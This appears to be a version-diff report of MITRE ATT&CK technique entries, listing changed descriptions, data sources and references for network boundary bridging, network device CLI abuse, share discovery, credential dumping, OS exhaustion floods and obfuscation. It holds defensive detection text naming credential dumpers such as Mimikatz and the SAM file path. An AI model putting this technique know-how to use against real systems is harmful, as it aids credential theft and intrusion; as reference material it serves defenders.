| modified | 2020-10-21 01:45:59.246000+00:00 | 2022-05-05 05:05:44.200000+00:00 |
| description | Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised. When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments. | Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised. When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments. |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_defense_bypassed[0] | Router ACL | Firewall |
| x_mitre_defense_bypassed[1] | Firewall | System Access Controls |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Kaspersky ThreatNeedle Feb 2021', 'description': 'Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.', 'url': 'https://securelist.com/lazarus-threatneedle/100803/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:58:18.788000+00:00 | 2022-03-25 20:05:40.122000+00:00 |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | Office 365 | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse scripting or built-in command line int | t | 1 | Adversaries may abuse scripting or built-in command line int |
| > | erpreters (CLI) on network devices to execute malicious comm | > | erpreters (CLI) on network devices to execute malicious comm | ||
| > | and and payloads. The CLI is the primary means through which | > | and and payloads. The CLI is the primary means through which | ||
| > | users and administrators interact with the device in order | > | users and administrators interact with the device in order | ||
| > | to view system information, modify device operations, or per | > | to view system information, modify device operations, or per | ||
| > | form diagnostic and administrative functions. CLIs typically | > | form diagnostic and administrative functions. CLIs typically | ||
| > | contain various permission levels required for different co | > | contain various permission levels required for different co | ||
| > | mmands. Scripting interpreters automate tasks and extend f | > | mmands. Scripting interpreters automate tasks and extend f | ||
| > | unctionality beyond the command set included in the network | > | unctionality beyond the command set included in the network | ||
| > | OS. The CLI and scripting interpreter are accessible through | > | OS. The CLI and scripting interpreter are accessible through | ||
| > | a direct console connection, or through remote means, such | > | a direct console connection, or through remote means, such | ||
| > | as telnet or secure shell (SSH). Adversaries can use the ne | > | as telnet or [SSH](https://attack.mitre.org/techniques/T1021 | ||
| > | twork CLI to change how network devices behave and operate. | > | /004). Adversaries can use the network CLI to change how ne | ||
| > | The CLI may be used to manipulate traffic flows to intercept | > | twork devices behave and operate. The CLI may be used to man | ||
| > | or manipulate data, modify startup configuration parameters | > | ipulate traffic flows to intercept or manipulate data, modif | ||
| > | to load malicious system software, or to disable security f | > | y startup configuration parameters to load malicious system | ||
| > | eatures or logging to avoid detection. (Citation: Cisco Synf | > | software, or to disable security features or logging to avoi | ||
| > | ul Knock Evolution) | > | d detection.(Citation: Cisco Synful Knock Evolution) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 16:43:38.388000+00:00 | 2022-04-19 20:28:09.848000+00:00 |
| description | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH). Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution) | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution) |
| external_references[1]['source_name'] | Cisco Synful Knock Evolution | Cisco IOS Software Integrity Assurance - Command History |
| external_references[1]['description'] | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. | Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. |
| external_references[1]['url'] | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices | https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 |
| external_references[2]['source_name'] | Cisco IOS Software Integrity Assurance - Command History | Cisco Synful Knock Evolution |
| external_references[2]['description'] | Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020. | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. |
| external_references[2]['url'] | https://tools.cisco.com/security/center/resources/integrity_assurance.html#23 | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices |
| x_mitre_data_sources[0] | Network device logs | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device run-time memory | |
| x_mitre_data_sources | Network device command history | |
| x_mitre_data_sources | Network device configuration |
Current version: 3.1
Version changed from: 3.0 → 3.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for folders and drives shared on remote | t | 1 | Adversaries may look for folders and drives shared on remote |
| > | systems as a means of identifying sources of information to | > | systems as a means of identifying sources of information to | ||
| > | gather as a precursor for Collection and to identify potent | > | gather as a precursor for Collection and to identify potent | ||
| > | ial systems of interest for Lateral Movement. Networks often | > | ial systems of interest for Lateral Movement. Networks often | ||
| > | contain shared network drives and folders that enable users | > | contain shared network drives and folders that enable users | ||
| > | to access file directories on various systems across a netw | > | to access file directories on various systems across a netw | ||
| > | ork. File sharing over a Windows network occurs over the S | > | ork. File sharing over a Windows network occurs over the S | ||
| > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | ||
| > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | ||
| > | ware/S0039) can be used to query a remote system for availab | > | ware/S0039) can be used to query a remote system for availab | ||
| > | le shared drives using the <code>net view \\remotesystem</co | > | le shared drives using the <code>net view \\\\remotesystem</ | ||
| > | de> command. It can also be used to query shared drives on t | > | code> command. It can also be used to query shared drives on | ||
| > | he local system using <code>net share</code>. | > | the local system using <code>net share</code>. For macOS, t | ||
| > | he <code>sharing -l</code> command lists all shared points u | ||||
| > | sed for smb services. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-07 18:10:06.463000+00:00 | 2021-10-13 18:10:57.185000+00:00 |
| description | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services. |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Process: OS API Execution |
| x_mitre_data_sources[2] | Network protocol analysis | Command: Command Execution |
| x_mitre_version | 3.0 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network |
Current version: 2.1
Version changed from: 2.0 → 2.1
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-09 20:46:00.758000+00:00 | 2022-03-08 21:00:53.436000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Active Directory: Active Directory Object Access |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | PowerShell logs | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Process command-line parameters | File: File Access |
| x_mitre_detection | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/, where the | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/, where the |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: Process Access | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Access |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target the operating system (OS) for a DoS a | t | 1 | Adversaries may launch a denial of service (DoS) attack targ |
| > | ttack, since the (OS) is responsible for managing the finite | > | eting an endpoint's operating system (OS). A system's OS is | ||
| > | resources on a system. These attacks do not need to exhaust | > | responsible for managing the finite resources as well as pre | ||
| > | the actual resources on a system since they can simply exha | > | venting the entire system from being overwhelmed by excessiv | ||
| > | ust the limits that an OS self-imposes to prevent the entire | > | e demands on its capacity. These attacks do not need to exha | ||
| > | system from being overwhelmed by excessive demands on its c | > | ust the actual resources on a system; the attacks may simply | ||
| > | apacity. Different ways to achieve this exist, including TC | > | exhaust the limits and available resources that an OS self- | ||
| > | P state-exhaustion attacks such as SYN floods and ACK floods | > | imposes. Different ways to achieve this exist, including TC | ||
| > | .(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, | > | P state-exhaustion attacks such as SYN floods and ACK floods | ||
| > | excessive amounts of SYN packets are sent, but the 3-way TC | > | .(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, | ||
| > | P handshake is never completed. Because each OS has a maximu | > | excessive amounts of SYN packets are sent, but the 3-way TC | ||
| > | m number of concurrent TCP connections that it will allow, t | > | P handshake is never completed. Because each OS has a maximu | ||
| > | his can quickly exhaust the ability of the system to receive | > | m number of concurrent TCP connections that it will allow, t | ||
| > | new requests for TCP connections, thus preventing access to | > | his can quickly exhaust the ability of the system to receive | ||
| > | any TCP service provided by the server.(Citation: Cloudflar | > | new requests for TCP connections, thus preventing access to | ||
| > | e SynFlood) ACK floods leverage the stateful nature of the | > | any TCP service provided by the server.(Citation: Cloudflar | ||
| > | TCP protocol. A flood of ACK packets are sent to the target. | > | e SynFlood) ACK floods leverage the stateful nature of the | ||
| > | This forces the OS to search its state table for a related | > | TCP protocol. A flood of ACK packets are sent to the target. | ||
| > | TCP connection that has already been established. Because th | > | This forces the OS to search its state table for a related | ||
| > | e ACK packets are for connections that do not exist, the OS | > | TCP connection that has already been established. Because th | ||
| > | will have to search the entire state table to confirm that n | > | e ACK packets are for connections that do not exist, the OS | ||
| > | o match exists. When it is necessary to do this for a large | > | will have to search the entire state table to confirm that n | ||
| > | flood of packets, the computational requirements can cause t | > | o match exists. When it is necessary to do this for a large | ||
| > | he server to become sluggish and/or unresponsive, due to the | > | flood of packets, the computational requirements can cause t | ||
| > | work it must do to eliminate the rogue ACK packets. This gr | > | he server to become sluggish and/or unresponsive, due to the | ||
| > | eatly reduces the resources available for providing the targ | > | work it must do to eliminate the rogue ACK packets. This gr | ||
| > | eted service.(Citation: Corero SYN-ACKflood) | > | eatly reduces the resources available for providing the targ | ||
| > | eted service.(Citation: Corero SYN-ACKflood) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. | |
| external_references | Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019. | |
| external_references | CAPEC-469 | |
| external_references | CAPEC-482 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-469 | |
| external_references | CAPEC-482 | |
| external_references | Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019. | |
| external_references | Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:54:35.429000+00:00 | 2022-04-19 23:12:31.329000+00:00 |
| description | Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood) ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) | Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood) ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) |
| external_references[1]['source_name'] | capec | Cisco DoSdetectNetflow |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/469.html | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf |
| external_references[2]['source_name'] | capec | Cloudflare SynFlood |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/482.html | https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/ |
| external_references[3]['source_name'] | Arbor AnnualDoSreport Jan 2018 | Corero SYN-ACKflood |
| external_references[3]['description'] | Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. | Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019. |
| external_references[3]['url'] | https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf | https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html |
| external_references[4]['source_name'] | Cloudflare SynFlood | Arbor AnnualDoSreport Jan 2018 |
| external_references[4]['description'] | Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019. | Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019. |
| external_references[4]['url'] | https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/ | https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf |
| external_references[5]['source_name'] | Corero SYN-ACKflood | capec |
| external_references[5]['url'] | https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html | https://capec.mitre.org/data/definitions/469.html |
| external_references[6]['source_name'] | Cisco DoSdetectNetflow | capec |
| external_references[6]['url'] | https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf | https://capec.mitre.org/data/definitions/482.html |
| x_mitre_data_sources[0] | Network device logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network intrusion detection system | Sensor Health: Host Status |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSL/TLS inspection |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. | |
| external_references | CAPEC-267 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-267 | |
| external_references | Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:24:20.601000+00:00 | 2022-05-05 05:08:05.584000+00:00 |
| external_references[1]['source_name'] | capec | Volexity PowerDuke November 2016 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/267.html | https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ |
| external_references[2]['source_name'] | Volexity PowerDuke November 2016 | GitHub Revoke-Obfuscation |
| external_references[2]['description'] | Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. | Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018. |
| external_references[2]['url'] | https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ | https://github.com/danielbohannon/Revoke-Obfuscation |
| external_references[3]['source_name'] | Linux/Cdorked.A We Live Security Analysis | FireEye Obfuscation June 2017 |
| external_references[3]['description'] | Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017. | Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018. |
| external_references[3]['url'] | https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ | https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html |
| external_references[4]['source_name'] | Carbon Black Obfuscation Sept 2016 | FireEye Revoke-Obfuscation July 2017 |
| external_references[4]['description'] | Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018. | Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018. |
| external_references[4]['url'] | https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ | https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf |
| external_references[5]['source_name'] | FireEye Obfuscation June 2017 | GitHub Office-Crackros Aug 2016 |
| external_references[5]['description'] | Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018. | Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html | https://github.com/itsreallynick/office-crackros |
| external_references[6]['source_name'] | FireEye Revoke-Obfuscation July 2017 | Linux/Cdorked.A We Live Security Analysis |
| external_references[6]['description'] | Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018. | Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017. |
| external_references[6]['url'] | https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf | https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/ |
| external_references[7]['source_name'] | PaloAlto EncodedCommand March 2017 | Carbon Black Obfuscation Sept 2016 |
